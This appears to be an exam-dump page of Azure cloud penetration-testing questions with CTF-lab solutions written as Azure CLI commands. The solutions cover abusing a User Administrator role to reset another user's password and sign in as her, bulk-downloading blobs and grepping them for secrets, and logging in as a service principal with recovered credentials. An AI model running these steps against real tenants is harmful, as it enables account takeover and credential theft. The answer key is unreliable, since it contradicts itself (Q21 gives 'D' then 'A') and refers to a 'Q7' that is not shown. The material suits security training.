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| Section | Objectives |
|---|---|
| Azure Cloud Attack Surface Enumeration | - Identity and access enumeration (Azure AD / Entra ID) - Azure resource discovery and recon |
| Compute & Network Exploitation in Azure | - Network misconfiguration exploitation (NSG / routing) - VM exploitation and lateral movement |
| Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
| Real-world Azure Attack Chains (CTF Scenario) | - Flag/goal-based task completion in live environment - Multi-step exploitation chain from initial access to privilege escalation |
| Azure Identity & Authentication Exploitation | - Token / credential abuse scenarios - Privilege escalation via misconfigured roles |
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NEW QUESTION # 18
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
NEW QUESTION # 19
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
NEW QUESTION # 20
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 21
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: D
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 22
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
NEW QUESTION # 23
......
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